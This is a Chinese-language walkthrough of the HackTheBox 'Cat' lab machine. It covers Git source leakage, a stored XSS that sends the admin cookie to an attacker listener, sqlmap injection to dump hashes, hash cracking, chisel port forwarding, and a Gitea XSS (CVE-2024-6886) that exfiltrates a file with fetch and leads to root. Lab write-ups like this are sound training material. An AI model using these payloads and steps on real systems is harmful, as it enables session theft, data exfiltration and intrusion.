HTB-Cat
字数 1216 2025-08-29 08:30:30
HTB-Cat靶机渗透测试教学文档
靶机信息
- 靶机链接: https://app.hackthebox.com/machines/Cat
- 靶机IP: 10.10.11.53
- 操作系统: Ubuntu Linux (基于OpenSSH和Apache版本判断)
初始侦察
端口扫描
使用fscan进行快速端口扫描:
./fscan -h 10.10.11.53 -nobr -nopoc
发现开放端口:
- 22/tcp (SSH)
- 80/tcp (HTTP)
详细Nmap扫描:
nmap -sTVC -O -p22,80 10.10.11.53
确认服务版本:
- OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
- Apache httpd 2.4.41
Web服务发现
访问http://10.10.11.53会重定向到http://cat.htb,需要将域名添加到/etc/hosts:
echo "10.10.11.53 cat.htb" | sudo tee -a /etc/hosts
Web渗透
目录爆破
使用dirb进行目录扫描:
dirb http://cat.htb
发现.git目录暴露,存在Git信息泄露漏洞。
Git信息泄露利用
使用GitHack工具下载源代码:
python3 GitHack.py http://cat.htb/.git/
目录结构:
.
├── accept_cat.php
├── admin.php
├── config.php
├── contest.php
├── css
│ └── styles.css
├── delete_cat.php
├── img
│ ├── cat1.jpg
│ ├── cat2.png
│ └── cat3.webp
├── img_winners
│ ├── cat1.jpg
│ ├── cat2.png
│ └── cat3.webp
├── index.php
├── join.php
├── logout.php
├── view_cat.php
├── vote.php
├── winners
│ └── cat_report_20240831_173129.php
└── winners.php
代码审计发现漏洞
- XSS漏洞:
在view_cat.php中,用户名输出未经过滤:
<strong>Owner:</strong> <?php echo $cat['username']; ?><br>
应该使用htmlspecialchars()进行过滤。
- SQL注入漏洞:
在accept_cat.php中,$cat_name直接拼接SQL语句:
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);
攻击步骤
- XSS获取管理员Cookie:
注册用户时,用户名使用XSS payload:
<script>document.location='http://10.10.16.14:8888/?c='+document.cookie;</script>
启动HTTP服务器监听:
python3 -m http.server 8888
登录后提交猫的照片,等待管理员查看触发XSS。
- SQL注入利用:
使用sqlmap自动化注入:
sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=1&catName=mal" --cookie="PHPSESSID=cege257iom0cqihqnnp0ileg8l" --batch --dbms SQLite -p catName --level 5 --risk 3 -D SQLite_masterdb -T users --dump --threads=10
获取到用户哈希:
user_id | email | password | username
1 | axel2017@gmail.com | d1bbba3670feb9435c9841e46e60ee2f | axel
2 | rosamendoza485@gmail.com | ac369922d560f17d6eeb8b2c7dec498c | rosa
3 | robertcervantes2000@gmail.com | 42846631708f69c00ec0c0a8aa4a92ad | robert
- 哈希破解:
使用John the Ripper破解:
john --wordlist=/usr/share/wordlists/rockyou.txt hash --format=Raw-MD5
得到rosa的密码: soyunaprincesarosa
系统立足点
SSH登录
使用rosa凭据登录:
ssh rosa@cat.htb
横向移动
在系统中查找其他用户凭据:
grep -R axel /var/* 2>/dev/null
发现axel的密码。
权限提升
发现内部服务
在邮件中发现:
- Gitea服务运行在localhost:3000
- 员工管理系统项目信息
端口转发
使用chisel进行端口转发:
攻击机:
./chisel server -p 12345 --reverse
目标机:
./chisel client 10.10.16.14:12345 R:3000:127.0.0.1:3000
Gitea XSS漏洞利用
Gitea版本1.22.0存在存储型XSS漏洞(CVE-2024-6886)
- 创建仓库并插入XSS payload:
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php')
.then(response => response.text())
.then(data => fetch('http://10.10.16.14/?response=' + encodeURIComponent(data)))
.catch(error => console.error('Error:', error));">XSS test</a>
- 发送邮件诱使jobert点击:
echo -e "Subject: test \n\nHello check my repo http://localhost:3000/axel/test" | sendmail jobert@localhost
- 监听获取敏感信息:
nc -lvnp 80
获取到index.php内容,包含管理员凭据:
<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||
$_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
header('WWW-Authenticate: Basic realm="Employee Management"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
header('Location: dashboard.php');
exit;
?>
获取root权限
使用获取的密码切换到root:
su root
输入密码: IKw75eR0MR7CMIxhH0
总结
本靶机渗透测试涉及以下关键技术点:
- Git信息泄露漏洞利用
- XSS漏洞利用获取管理员Cookie
- SQL注入漏洞利用获取数据库信息
- 哈希破解获取用户凭据
- 内部服务发现与端口转发
- Gitea存储型XSS漏洞利用(CVE-2024-6886)
- 通过XSS读取敏感文件获取root凭据
整个渗透过程展示了从外部攻击到内部横向移动,最终获取系统最高权限的完整路径。